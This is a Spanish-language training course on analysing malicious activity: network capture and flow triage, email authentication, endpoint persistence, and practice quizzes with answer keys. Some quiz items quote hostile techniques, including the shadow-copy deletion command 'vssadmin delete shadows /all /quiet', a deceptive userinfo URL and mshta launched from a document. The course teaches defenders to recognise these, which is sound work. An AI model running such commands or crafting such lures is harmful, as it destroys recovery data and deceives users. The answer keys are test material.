Explica por qué se cierra una alerta. Si una detección se activa repetidamente por actividad fuera de su alcance previsto, proporciona a los ingenieros de detección ejemplos y contexto para ajustarla. Un cierre sin explicación oculta tanto ataques no detectados como trabajo inútil recurrente.

Comparte indicadores con contexto

Añade una fecha de caducidad o revisión a los indicadores de dominios e IP porque su propiedad y uso cambian. Evita bloqueos indiscriminados de infraestructura compartida como las CDN. Los hashes exactos identifican una versión de un archivo, mientras que las detecciones basadas en comportamiento pueden detectar variantes. Conserva la relación entre un indicador, su comportamiento observado y su nivel de confianza al compartirlo.

Preserva las evidencias y escala la respuesta

Escala la respuesta ante un hallazgo malicioso confirmado según el procedimiento de respuesta a incidentes, con una gravedad basada en los activos afectados y el impacto. Preserva los mensajes originales, las capturas, las exportaciones de dispositivos finales y las muestras recopiladas. Registra el SHA-256 de cada archivo y quién lo recopiló o transfirió y cuándo. Estos registros de custodia documentan el manejo de las evidencias; el hash permite comprobar su integridad.

El aislamiento mediante EDR suele ser preferible a apagar el equipo porque restringe la comunicación mientras conserva la memoria y una vía de gestión. Terminar procesos y reiniciar también cambia las evidencias volátiles. Sigue las prioridades de contención del procedimiento, recopila lo que necesite el caso y registra el momento de cada acción de respuesta para que los analistas posteriores puedan distinguir la actividad del atacante de la respuesta.

Puntos clave

  • Distingue las detecciones maliciosas, los comportamientos autorizados detectados y los errores de detección.
  • Expresa la confianza con evidencias y la gravedad con el impacto.
  • Incluye las consultas y referencias a evidencias necesarias para reproducir el dictamen.
  • Aporta contexto y fechas de revisión a los indicadores compartidos.
  • Preserva originales, hashes y registros de custodia al escalar la respuesta.

Ejemplos de Análisis de actividad maliciosa

5 Lecciones Interactivas

1

Sigue una estación de trabajo desde la captura hasta el dictamen sobre el tráfico

17 pasos
Elige evidencias, reconstruye un intercambio y comprueba un patrón de red sospechoso.
  1. 1
    IntroducciónEncuentra qué causó el tráfico

    Una estación de trabajo ha comenzado a contactar con un servidor nuevo y una alerta de red menciona un posible intérprete de comandos inverso. Elegirás un punto de captura útil, interpretarás el intercambio, comprobarás su volumen a largo plazo y verificarás qué detectó la alerta. Las capturas de paquetes muestran el contenido, mientras que los registros de flujo solo conservan quién habló, cuándo y cuánto, pero abarcan un periodo más largo.

    Mantén separadas dos preguntas durante toda la investigación: qué observó el sensor y qué permite concluir esa observación sobre la estación de trabajo.

  2. 2
    ExplicaciónColoca el sensor en el trayecto

    Una captura en el límite con internet puede ver la conexión externa de la estación de trabajo, pero no el tráfico que permanece dentro de un conmutador. Una captura fuera de NAT también necesita registros de traducción para recuperar el origen interno.

    Elige una captura en el equipo o una fuente TAP/SPAN correctamente situada según la pregunta. La capacidad importa: combinar ambos sentidos de un enlace con mucho tráfico puede superar la capacidad de un puerto de supervisión y perder paquetes.

  3. 3
    EjemploGuarda el tráfico del equipo

    Para este caso, captura la estación de trabajo en 192.168.1.50 mediante eth0:

    sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
    

    Las opciones seleccionan la interfaz, evitan las búsquedas de nombres, conservan los paquetes completos y guardan los datos sin procesar. El filtro de equipo conserva ambos sentidos; excluir el puerto 22 elimina la sesión remota del analista cuando usa ese puerto.

  4. 4
    DesafíoRecupera un protocolo excluido

    Supón que una captura utilizó host 192.168.1.50 and tcp port 443. ¿Puede un filtro de visualización posterior revelar los paquetes UDP 443 de ese equipo?

    ---reveal---

    No. El filtro de captura excluyó UDP antes de guardar, por lo que un filtro de visualización no tiene nada que revelar. UDP 443 puede incluir QUIC. Comprueba otra fuente o captura con un filtro más amplio y adecuado; preserva la primera captura con su intervalo de tiempo y sus estadísticas de paquetes descartados.

  5. 5
    EjemploIdentifica al cliente

    El intercambio guardado comienza con 192.168.1.50:51544 → 203.0.113.80:443 SYN. El servidor devuelve SYN-ACK al puerto 51544 y después el cliente envía ACK.

    La estación de trabajo inició la conexión. El puerto alto identifica este extremo del lado del cliente; la respuesta invierte el par. Un número de puerto sugiere el servicio esperado, pero el intercambio de establecimiento por sí solo no dice nada sobre la aplicación transportada.

  6. 6
    EjemploInterpreta el contenido devuelto

    Utiliza Follow TCP Stream en la descarga en texto claro. La solicitud indica /update.php?id=WS-0423 y Host: cdn-update.example.net. La respuesta tiene éxito y su cuerpo comienza con MZ.

    La respuesta parece entregar un ejecutable, aunque la ruta termine en .php. Exporta el objeto para comprobar su tipo, hash y firma. La ruta de la URL es el destino de una solicitud, no una garantía sobre el formato del archivo devuelto.

  7. 7
    ExplicaciónConoce qué detalles de TLS son visibles

    Si un intercambio posterior utiliza TLS, los datos están cifrados salvo que se disponga de secretos de sesión adecuados o de un punto de inspección. Los tiempos y tamaños en bytes siguen siendo útiles. Un Client Hello visible puede proporcionar la SNI y una huella.

    ECH puede ocultar el nombre solicitado. TLS 1.3 también cifra el certificado del servidor, a diferencia de TLS 1.2. Registra lo que esta captura expone realmente antes de decidir qué evidencia de nombre o certificado falta.

  8. 8
    DesafíoComprueba una asociación con un dominio

    DNS devolvió 198.51.100.7 para un dominio sospechoso y el equipo se conectó a esa IP. ¿Qué reforzaría la asociación con el dominio?

    ---reveal---

    Una cabecera Host de HTTP, la SNI de TLS visible, un registro de proxy o un evento del dispositivo final que nombre ese dominio la reforzaría. Otros dominios pueden compartir la IP. La secuencia es una pista útil, pero atribuir todas las conexiones a esa dirección a un solo dominio omite una comprobación necesaria de identidad.

  9. 9
    AnalogíaUtiliza el resumen detallado del tráfico

    Un registro de flujo de red se parece a una factura telefónica detallada: conserva los participantes, los tiempos y el volumen, pero no las palabras de la conversación. Es útil para buscar en un periodo más largo del que normalmente conserva una captura completa.

    Encuentra primero el equipo sospechoso y el intervalo en el historial de flujos. Después recupera los paquetes del intercambio concreto si existen, manteniendo la distinción entre mediciones de tráfico y evidencias de contenido.

  10. 10
    EjemploReconstruye la conexión medida

    Una conexión puede tener registros de flujo separados de ida y vuelta, además de fragmentos por tiempo límite. Empareja las direcciones y los puertos en orden inverso, conserva el protocolo y une los fragmentos que pertenecen a ese intercambio.

    Suma los bytes salientes y entrantes por separado. Mide el tiempo desde el inicio más temprano hasta el fin más tardío. Sumar duraciones de sentidos que se solapan puede hacer que una conexión de 40 minutos parezca durar 80 minutos.

  11. 11
    EjemploCalcula el volumen y la tasa

    El equipo envía 2,4 GB y recibe 12 MB entre las 02:10 y las 02:50 UTC. Convierte el volumen enviado a 2400 MB: la proporción entre tráfico saliente y entrante es de 200:1.

    El intervalo es de 2400 segundos, por lo que la media saliente es de 1 MB/s, u 8 Mbit/s. Estas son mediciones. La siguiente evaluación las compara con la función del equipo, el tráfico de copias de seguridad esperado, el historial del destino y el proceso responsable.

  12. 12
    DesafíoInterpreta un campo de bytes vacío

    Zeek registra el estado TCP S0, un paquete de origen y cero bytes de datos. ¿Debe descartarse el intento por no haber tráfico?

    ---reveal---

    No. El registro describe un intento observado sin respuesta. Un SYN no transporta datos de aplicación, por lo que cero bytes de datos concuerdan con la evidencia del paquete. Los exportadores de flujos que incluyen cabeceras IP pueden registrar un valor de bytes distinto de cero para el mismo intento; compara el significado de los campos antes de comparar los totales.

  13. 13
    EjemploMide el intervalo repetido

    Las conexiones ocurren a las 10:00:00, 10:05:02, 10:09:59, 10:15:01 y 10:20:00. Los intervalos son de 302, 297, 302 y 299 segundos, con una media de 300 segundos.

    Las transferencias pequeñas y similares a ese ritmo sugieren un temporizador de software. Comprueba el proceso y el destino antes de llamarlo C2; el software de actualización aprobado también se comunica periódicamente. Una variación mayor podría ser una variación añadida al temporizador, por lo que no se requiere una regularidad perfecta.

  14. 14
    ExplicaciónLee la condición real del IDS

    Una regla genera una alerta por tráfico TCP desde $HOME_NET hasta el puerto 4444 de $EXTERNAL_NET con flow:to_server,established. Su mensaje dice «Posible intérprete de comandos inverso».

    La conexión establecida y la dirección son condiciones que comprueba la regla. Los comandos del intérprete no están entre esas condiciones. Lee sid y la revisión para identificar la regla y después inspecciona los paquetes y el proceso del dispositivo final para determinar qué significaba el tráfico coincidente.

  15. 15
    DesafíoComprueba la autorización del escaneo

    Un equipo sondea muchos puertos de un servidor y produce principalmente REJ y S0. ¿Qué debe comprobarse antes de clasificar esto como un escaneo de un atacante?

    ---reveal---

    Comprueba el inventario de escáneres aprobados y el calendario de pruebas. El patrón es un escaneo vertical, pero un escaneo de vulnerabilidades autorizado también puede producirlo. La coincidencia de una dirección de origen solo es útil cuando su asignación actual y el momento de la prueba también concuerdan con la autorización.

  16. 16
    DesafíoRelaciona las pistas de red

    El nuevo destino tiene contactos periódicos, una gran carga nocturna y una alerta basada en el puerto. ¿Qué evidencias deberían determinar si pertenecen a una misma cadena de actividad maliciosa?

    ---reveal---

    Utiliza instancias de procesos del dispositivo final para atribuir las conexiones y después inspecciona el contexto del protocolo y del destino. Compara la carga con la actividad aprobada. Una IP compartida y el mensaje de una regla dejan abierta la posibilidad de tráfico no relacionado o infraestructura compartida, por lo que por sí solos no pueden establecer que haya C2 y robo.

  17. 17
    RepasoTraslada las evidencias

    Ahora tienes una captura con un punto de observación conocido, un intercambio reconstruido, mediciones de tráfico por sentido y una interpretación comprobada de la alerta. La transferencia debe conservar los paquetes relevantes, las marcas de tiempo originales, los hashes y las referencias de consulta.

    Si el tráfico sigue siendo sospechoso, el siguiente paso más útil es explorar el proceso del dispositivo final que lo produjo: ese proceso puede relacionar el patrón de red con la ejecución, los archivos y la persistencia.

2

Investiga un mensaje de proveedor notificado

13 pasos
Interpreta cabeceras fiables, examina una solicitud de pago y determina el alcance entre los destinatarios afectados.

Guarda esta unidad para seguir cada Lección Interactiva paso a paso.

  1. 1
    IntroducciónComienza con el mensaje original
  2. 2
    ExplicaciónDistingue los campos del remitente
  3. 3
    ConsejoEncuentra el límite de confianza
  4. 4
    EjemploCompara los dominios que superan las comprobaciones
  5. 5
    DesafíoUtiliza una firma alineada que sigue siendo válida
  6. 6
    EjemploInspecciona la acción de negocio
  7. 7
    ExplicaciónIdentifica el equipo de destino real de un enlace
  8. 8
    DesafíoElige una verificación independiente
  9. 9
    EjemploDecodifica una URL personalizada
  10. 10
    ExplicaciónBusca la entrega y la interacción por separado
  11. 11
    DesafíoDetermina el alcance más allá de quien notificó
  12. 12
    DesafíoDecide qué evidencia cambia el caso
  13. 13
    RepasoTransfiere el alcance y el impacto
3

Rastrea la ejecución y encuentra sus vías de retorno

16 pasos
Sigue el árbol de procesos de un documento, inspecciona la persistencia y relaciona los cambios del equipo con un incidente.

Guarda esta unidad para seguir cada Lección Interactiva paso a paso.

  1. 1
    IntroducciónSigue el historial del equipo
  2. 2
    ExplicaciónConfirma la telemetría
  3. 3
    DesafíoMantén separadas las instancias de procesos
  4. 4
    EjemploInterpreta la ascendencia
  5. 5
    ExplicaciónDecodifica el texto del comando
  6. 6
    DesafíoEvalúa una herramienta firmada
  7. 7
    EjemploInterpreta el desencadenante de inicio de sesión
  8. 8
    EjemploInspecciona la acción programada
  9. 9
    ExplicaciónBusca más allá de dos ubicaciones
  10. 10
    DesafíoGestiona dos vías de persistencia
  11. 11
    EjemploInterpreta la fecha de aspecto antiguo del archivo
  12. 12
    ExplicaciónEncuentra cambios en las defensas
  13. 13
    DesafíoRelaciona un archivo comprimido con una carga
  14. 14
    ConexiónUtiliza el inventario como contexto
  15. 15
    DesafíoElige una contención que preserve las evidencias
  16. 16
    RepasoDescribe la cadena del equipo
4

Convierte un archivo sospechoso en hallazgos comprobables

14 pasos
Combina la reputación del archivo exacto, las pistas estáticas y una ejecución controlada en un entorno aislado de análisis.

Guarda esta unidad para seguir cada Lección Interactiva paso a paso.

  1. 1
    IntroducciónPlantea una pregunta distinta a cada método
  2. 2
    EjemploRegistra el identificador del contenido exacto
  3. 3
    ExplicaciónExamina el informe más allá de su proporción
  4. 4
    DesafíoInterpreta un archivo firmado desconocido
  5. 5
    EjemploComprueba el formato real del archivo
  6. 6
    EjemploExtrae ambas formas de texto
  7. 7
    ExplicaciónCombina las pistas de empaquetado
  8. 8
    DesafíoLee una regla YARA con condiciones conjuntas
  9. 9
    ExplicaciónAdapta el entorno de ejecución
  10. 10
    EjemploExtrae el comportamiento y los artefactos
  11. 11
    DesafíoExplica una ejecución inactiva
  12. 12
    DesafíoDistingue el comportamiento de la entrega
  13. 13
    ConexiónBusca con pistas duraderas
  14. 14
    RepasoMantén separadas la capacidad y la observación
5

Elabora y transfiere un hallazgo de incidente justificable

11 pasos
Alinea evidencias, comprueba relaciones causales y documenta un dictamen con un nivel de confianza.

Guarda esta unidad para seguir cada Lección Interactiva paso a paso.

  1. 1
    IntroducciónHaz que las evidencias se puedan comprobar
  2. 2
    EjemploConvierte la hora de la consola
  3. 3
    ExplicaciónVerifica a quién estaba asignada la dirección
  4. 4
    EjemploConstruye la secuencia observada
  5. 5
    DesafíoComprueba una conclusión basada en una IP compartida
  6. 6
    Idea claveDeja que ATT&CK describa lo observado
  7. 7
    ExplicaciónDistingue la detección de la autorización
  8. 8
    DesafíoClasifica un despliegue aprobado
  9. 9
    EjemploRedacta el dictamen y la transferencia
  10. 10
    DesafíoMantén proporcionada la afirmación final
  11. 11
    RepasoDeja un caso que otros puedan continuar

Ejercicios de Análisis de actividad maliciosa

50 Preguntas de Práctica en 5 sets

Set 1: Interpreta el tráfico y comprueba la alerta10 Preguntas de Práctica

Pregunta 1 de 10

Un analista quiere cambiar los paquetes que muestra Wireshark sin descartar las evidencias guardadas. ¿Qué tipo de filtro necesita?
  1. Un filtro de captura aplicado a la captura guardada
  2. Un filtro de visualización aplicado a la captura guardada
  3. Un filtro BPF aplicado antes de guardar los paquetes
  4. Un filtro de interfaz que limite la entrada de captura
Mostrar respuestaOcultar respuesta
Respuesta: B
Un filtro de visualización cambia la selección visible mientras mantiene disponibles los paquetes guardados. Un filtro de captura decide qué se conserva durante la recopilación, por lo que el tráfico excluido no puede recuperarse después cambiando la vista. Los dos filtros también utilizan sintaxis distintas.

Pregunta 2 de 10

Un sensor fuera de una pasarela NAT registra una conexión saliente sospechosa desde la dirección pública compartida. ¿Qué debe utilizar el analista para identificar el equipo interno en ese momento?
  1. El inventario más reciente sin asignaciones históricas
  2. El titular de la IP pública sin asignación de puertos
  3. La asignación DNS actual del servidor remoto
  4. Los registros NAT de la conexión pública para ese momento
Mostrar respuestaOcultar respuesta
Respuesta: D
El registro de traducción de la pasarela relaciona la conexión pública observada con su dispositivo final interno en el momento del evento. Una concesión DHCP actual no proporciona esa traducción y una dirección puede haber cambiado de titular. Incluye los puertos y las horas para distinguir conexiones simultáneas.

Pregunta 3 de 10

Un intercambio TCP comienza con 10.8.0.14:53720 → 203.0.113.62:8443 SYN. ¿Qué extremo inició la conexión?
  1. 10.8.0.14 usando el puerto de origen 53720
  2. 203.0.113.62 usando el puerto de servicio 8443
  3. 10.8.0.14 usando el puerto de destino 8443
  4. 203.0.113.62 usando el puerto de destino 53720
Mostrar respuestaOcultar respuesta
Respuesta: A
Quien envía el SYN inicial es el iniciador, por lo que el cliente es 10.8.0.14 en el puerto 53720. El puerto de destino pertenece al extremo del servicio en este paquete. Una respuesta invertiría tanto las direcciones como los puertos, lo que podría hacer que el servidor pareciera el iniciador.

Pregunta 4 de 10

Una solicitud GET en texto claro a /status.asp recibe una respuesta que comienza con 4D 5A. ¿Qué debe deducir y comprobar el analista a continuación?
  1. Hay un script de servidor; deducir su tipo por .asp
  2. Puede haber un ejecutable; inspeccionar su estructura y hash
  3. Hay un PDF; deducir su tipo por el nombre del objeto
  4. Hay una página web; confiar en la URL antes que en el cuerpo
Mostrar respuestaOcultar respuesta
Respuesta: B
Los primeros bytes representan MZ, una firma habitual de ejecutables de Windows, por lo que debes inspeccionar la estructura y el hash del objeto recuperado. La URL .asp indica la ruta de la solicitud, no el formato del archivo devuelto. Trata la discrepancia de tipo como una pista de investigación y relaciona la solicitud con su proceso en el dispositivo final.

Pregunta 5 de 10

¿Qué tipo de evidencia suele estar ausente de un registro de flujo de red?
  1. Los puertos de transporte de origen y destino
  2. Las marcas de tiempo de inicio y fin registradas
  3. Los datos de aplicación transportados en los paquetes
  4. Los contadores de bytes y paquetes por sentido
Mostrar respuestaOcultar respuesta
Respuesta: C
Un registro de flujo resume la comunicación mediante campos como direcciones, puertos, horas y recuentos, sin preservar los datos de aplicación. Los totales de bytes describen cuánto tráfico se observó, no las palabras o archivos que contenía. Recupera evidencias de paquetes o de aplicación cuando necesites el contenido.

Pregunta 6 de 10

Entre las 01:10 y las 01:40 UTC, una estación de trabajo envía 900 MB y recibe 9 MB. ¿Cuáles son su proporción de tráfico saliente respecto al entrante y su tasa media de salida?
  1. 100:1 y 4 Mbit/s
  2. 100:1 y 0,5 Mbit/s
  3. 10:1 y 4 Mbit/s
  4. 100:1 y 24 Mbit/s
Mostrar respuestaOcultar respuesta
Respuesta: A
Al dividir 900 MB entre 9 MB se obtiene 100:1. Treinta minutos son 1800 segundos, por lo que la tasa es de 0,5 MB/s, o 4 Mbit/s tras multiplicar por ocho. Indicar 0,5 Mbit/s confunde bytes por segundo con bits por segundo; la proporción de volumen no requiere esa conversión.

Pregunta 7 de 10

Cuatro registros de flujo sin muestreo pertenecen a una conexión TCP: saliente 04:00–04:06, 90 MB; saliente 04:06–04:12, 150 MB; entrante 04:00–04:08, 2 MB; entrante 04:08–04:12, 6 MB. ¿Cuáles son su proporción saliente/entrante y su tasa media de salida?
  1. 30:1 y aproximadamente 1,33 Mbit/s
  2. 15:1 y aproximadamente 2,67 Mbit/s
  3. 30:1 y aproximadamente 0,33 Mbit/s
  4. 30:1 y aproximadamente 2,67 Mbit/s
Mostrar respuestaOcultar respuesta
Respuesta: D
El total saliente es de 240 MB y el entrante de 8 MB, lo que da 30:1. El intervalo completo transcurrido es de 12 minutos, o 720 segundos, por lo que la tasa de salida es de aproximadamente 0,333 MB/s, o 2,67 Mbit/s. Sumar las duraciones de ambos sentidos duplica el tiempo transcurrido y reduce incorrectamente la tasa a la mitad.

Pregunta 8 de 10

Un equipo contacta con el puerto 3389 de 70 estaciones de trabajo del mismo nivel en un intervalo breve. ¿Qué patrón de red debe investigar el analista?
  1. Sondeo vertical de muchos servicios en un equipo
  2. Tunelización DNS mediante una serie de nombres de consulta únicos
  3. Sondeo horizontal de un servicio RDP en varios equipos
  4. Exfiltración masiva mediante numerosas transferencias de cuerpos de respuesta
Mostrar respuestaOcultar respuesta
Respuesta: C
El puerto de destino permanece igual mientras cambian los objetivos, lo que constituye un sondeo horizontal; el 3389 suele indicar RDP. Un escaneo vertical cambiaría los puertos en un solo objetivo. Comprueba la autorización y el proceso de origen, porque este patrón puede respaldar una investigación de movimiento lateral sin establecer por sí solo su finalidad.

Pregunta 9 de 10

Una estación de trabajo realiza intercambios TCP breves cada 238–242 segundos y una regla de IDS los etiqueta como «Posible intérprete de comandos». La regla solo comprueba tráfico saliente establecido hacia el puerto 4444. EDR los atribuye a un agente de supervisión firmado y aprobado, y el destino coincide con su recolector documentado. ¿Qué dictamen corresponde a esta activación de la regla?
  1. Un verdadero positivo malicioso por un intérprete inverso verificado
  2. Un verdadero positivo benigno por el tráfico autorizado del agente
  3. Un falso positivo porque el agente estaba autorizado
  4. Un escaneo no concluyente porque el intervalo varía ligeramente
Mostrar respuestaOcultar respuesta
Respuesta: B
El tráfico establecido coincide con la regla, mientras que el proceso y el destino documentado explican un uso autorizado. Esto respalda un verdadero positivo benigno para las condiciones reales de la regla. El mensaje no demuestra la ejecución de un intérprete de comandos y la regularidad temporal identifica automatización sin hacerla maliciosa.

Pregunta 10 de 10

Un equipo realiza miles de consultas DNS con etiquetas largas, únicas y de aspecto codificado bajo un mismo dominio principal. ¿Qué debe investigar primero el analista?
  1. Posible uso de DGA; tratar estas etiquetas como dominios fallidos
  2. Posible enumeración; suponer consultas de servicio legibles
  3. Resolución habitual; aceptar el dominio principal como autorización
  4. Posible tunelización DNS; inspeccionar el proceso de origen
Mostrar respuestaOcultar respuesta
Respuesta: D
Muchas etiquetas largas y únicas bajo un mismo dominio principal encajan con un posible túnel DNS que transporta fragmentos de datos. Comprueba el volumen de consultas, los tipos de registro y el proceso responsable. Un DGA suele probar muchos nombres de dominio generados y producir con frecuencia respuestas NXDOMAIN; aquí no se indica ese patrón de fallos.
Set 2: Rastrea la identidad del correo y el alcance de la campaña10 Preguntas de Práctica

Guarda esta unidad para ver todas las respuestas y practicar cada set.

Pregunta 1 de 10

¿Qué dirección del mensaje proporciona el dominio que protege la alineación DMARC?
  1. La dirección de devolución de la cabecera Return-Path
  2. El destino de respuesta de la cabecera Reply-To
  3. La dirección visible de la cabecera From
  4. El nombre de retransmisión de la cabecera Received más reciente
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 2 de 10

Un mensaje tiene From accounts@example.org, SPF pass para bounce.mailer.example.net y DKIM pass para example.org. ¿Cuál es el resultado de DMARC con alineación estricta?
  1. Pass, porque el dominio DKIM que pasó coincide exactamente con From
  2. Fail, porque el dominio SPF que pasó es distinto de From
  3. Pass, porque SPF y DKIM pasaron para algún dominio
  4. Fail, porque la alineación estricta exige alinear ambos métodos
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 3 de 10

Un mensaje original contiene una línea Received inferior que afirma proceder de un servidor de retransmisión de un proveedor de confianza y una línea superior escrita por la pasarela de la organización que muestra una IP de conexión no relacionada. Una cabecera Authentication-Results proporcionada por el remitente indica pass; el resultado de la propia pasarela indica DMARC fail. ¿Qué evidencia debe fundamentar el hallazgo sobre el origen técnico?
  1. El servidor declarado más antiguo y el resultado pass del remitente
  2. El servidor declarado más antiguo y el resultado fail de la pasarela
  3. La IP registrada por la pasarela y el resultado pass del remitente
  4. La IP registrada por la pasarela y su propio resultado de autenticación
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 4 de 10

Un mensaje legítimo reenviado falla SPF, pero supera DKIM sin cambios con alineación relajada respecto a From. ¿Cómo puede explicarse el resultado de DMARC?
  1. DMARC falla porque el cambio de ruta de entrega invalida DKIM
  2. DMARC se supera mediante DKIM alineado pese al fallo de SPF
  3. DMARC se supera porque el reenvío desactiva la alineación
  4. DMARC falla porque ambos métodos deben pasar tras el reenvío
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 5 de 10

Un enlace es https://portal.example.org@203.0.113.88/session. ¿Cuál es su equipo de destino?
  1. portal.example.org
  2. 203.0.113.88
  3. example.org
  4. 203.0.113.88/session
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 6 de 10

Un buzón auténtico de un proveedor solicita una nueva cuenta de pago y proporciona un número de teléfono para verificarla. ¿Qué acción verifica el cambio de forma independiente?
  1. Llamar al número indicado y pedir al remitente que repita el cambio
  2. Responder en el hilo existente y pedir confirmación al mismo buzón
  3. Aceptar la solicitud tras comprobar que DMARC pasó para el proveedor
  4. Llamar al proveedor usando un número conocido de los registros existentes
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 7 de 10

Una solicitud de cambio bancario llega dentro de un hilo real de un proveedor, supera la autenticación alineada y no contiene ninguna URL ni archivo. El proveedor confirma mediante su número de teléfono conocido que no envió ninguna solicitud de cambio. ¿Qué hallazgo está mejor respaldado?
  1. BEC en el hilo auténtico; investigar el buzón
  2. Suplantación del dominio From; ignorar la autenticación alineada
  3. Cambio aprobado; preferir el hilo a la negación
  4. Error inofensivo; cerrar porque no se envió contenido malicioso
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 8 de 10

Un parámetro de URL decodificado contiene la dirección de correo de un destinatario. ¿Qué debe hacerse antes de un análisis público aprobado?
  1. Preservar el original y enviar el enlace sin cambios
  2. Preservar el original y neutralizar solo el equipo de destino del enlace
  3. Preservar el original y eliminar los parámetros identificativos
  4. Preservar el original y volver a codificar la dirección en Base64
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 9 de 10

Los registros de correo muestran 28 destinatarios de una campaña, los registros de proxy muestran cuatro visitantes y los registros de cuentas muestran una sesión desconocida inmediatamente después de que un visitante introdujera credenciales. No había ningún archivo adjunto. ¿Qué alcance de respuesta se desprende de estos registros?
  1. Retirar las copias, investigar a los visitantes y contener la cuenta afectada
  2. Retirar las copias e investigar solo al destinatario que notificó
  3. Restablecer a todos los destinatarios como compromisos confirmados y cerrar
  4. Retirar las copias y bloquear la URL; omitir la investigación de la cuenta
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 10 de 10

Dos correos tienen asuntos y nombres de archivos adjuntos distintos, pero hashes SHA-256 idénticos para los adjuntos. ¿Qué búsqueda útil permite determinar el alcance?
  1. Buscar solo el asunto que vio primero el usuario que notificó
  2. Buscar solo el nombre más reciente asignado al archivo adjunto
  3. Buscar el hash compartido del adjunto en registros de correo y dispositivos finales
  4. Tratar los asuntos y nombres cambiados como campañas separadas
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Set 3: Sigue la ejecución y la persistencia en dispositivos finales10 Preguntas de Práctica

Guarda esta unidad para ver todas las respuestas y practicar cada set.

Pregunta 1 de 10

¿Qué codificación de texto utiliza EncodedCommand de PowerShell para sus bytes decodificados de Base64?
  1. UTF-16LE
  2. UTF-8
  3. ASCII
  4. UTF-16BE
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 2 de 10

¿Qué evento de Sysmon proporciona información detallada sobre la creación de un proceso y un GUID de proceso?
  1. Evento 3
  2. Evento 11
  3. Evento 22
  4. Evento 1
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 3 de 10

Los registros de red muestran que un equipo realiza una carga durante un intervalo de 20 minutos. Su consola de EDR no tiene eventos, el agente informó por última vez dos horas antes y la recopilación de conexiones de Sysmon está desactivada. ¿Qué conclusión y siguiente paso concuerdan con las evidencias?
  1. La carga es benigna; una protección operativa habría generado una alerta
  2. Falta atribuirla en el dispositivo final; preservar la evidencia de red e investigar la brecha del sensor
  3. El dispositivo estaba desconectado; el registro de red debe pertenecer a otra zona horaria
  4. La carga es malware; la recopilación desactivada demuestra manipulación del atacante
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 4 de 10

EDR muestra que WINWORD.EXE inicia mshta.exe con una firma válida y una URL remota. ¿Qué hace sospechosa la invocación pese a la firma válida?
  1. Una firma válida hace que la invocación remota esté aprobada
  2. Una URL remota demuestra el robo del certificado de firma
  3. El documento como proceso padre y los argumentos remotos sugieren uso indebido de un LOLBin
  4. El nombre de una herramienta del sistema demuestra que hay un ejecutable integrado en el documento
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 5 de 10

Un proceso de Linux se llama [kworker/3:2]. Se ejecuta como usuario normal, desciende de un intérprete de comandos y /proc/<pid>/exe apunta a un archivo eliminado en /dev/shm. ¿Cómo deben interpretarse estas pistas?
  1. Un hilo auténtico del núcleo cambió de nombre tras una actualización rutinaria en memoria
  2. Un proceso de usuario se camufla como hilo del núcleo y necesita investigación
  3. Un hilo auténtico del núcleo se eliminó de forma segura al borrar su ejecutable
  4. Un intérprete de usuario solo muestra un proceso del núcleo cuyo padre es necesariamente el PID 2
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 6 de 10

Un valor Run de ámbito de usuario apunta a un ejecutable en el perfil itinerante del usuario. ¿Qué evento activa normalmente su inicio automático?
  1. El arranque del equipo
  2. La creación del contenido malicioso
  3. El inicio de sesión de ese usuario
  4. Cada treinta minutos
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 7 de 10

Un contenido malicioso sin firma tiene tanto una nueva entrada Run como una tarea que se activa cada 20 minutos. Un analista elimina el valor Run y restablece la contraseña del usuario, pero el mismo contenido vuelve a iniciarse antes del siguiente inicio de sesión. ¿Qué explica la recurrencia y qué debe inspeccionarse?
  1. La tarea puede reiniciarlo; registrar la acción y revisar otros desencadenantes
  2. La clave Run se restauró sola; registrar solo la ruta antigua del Registro
  3. El restablecimiento dejó un token activo; comprobar sesiones y omitir las tareas
  4. El archivo seguía presente; eliminarlo sin registrar la tarea
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 8 de 10

Un nuevo servicio de Windows inicia un ejecutable sin firma desde una carpeta pública. ¿Dónde puede buscar el analista su evento de instalación?
  1. Evento de seguridad 4624 o evento 22 de Sysmon
  2. Evento 4104 de PowerShell o evento 2 de Sysmon
  3. Evento de seguridad 4720 o evento 15 de Sysmon
  4. Evento del sistema 7045 o evento de seguridad 4697
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 9 de 10

Un contenido malicioso tiene una fecha de creación antigua, pero Sysmon registra que se creó durante el incidente y después registra el evento 2 del mismo proceso. Poco después, ese proceso crea partes de un archivo comprimido y abre una conexión saliente. ¿Qué debe concluir y verificar el analista?
  1. La fecha mostrada tiene prioridad; tratarlo como contenido antiguo ajeno al incidente
  2. La manipulación de marcas de tiempo encaja; comprobar los archivos preparados frente al proceso emisor
  3. El evento 2 demuestra cifrado; informar del contenido comprimido como registros robados confirmados
  4. La coincidencia temporal del proceso demuestra robo; informar de todos los bytes preparados como transferidos
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 10 de 10

Una cadena de documento sospechosa ejecuta vssadmin delete shadows /all /quiet. ¿Por qué requiere esto escalar la respuesta con urgencia?
  1. Elimina copias de recuperación y puede preceder al cifrado por ransomware
  2. Demuestra que todos los archivos de usuario ya se cifraron
  3. Elimina solo el índice de copias de seguridad y deja intactas las copias de recuperación
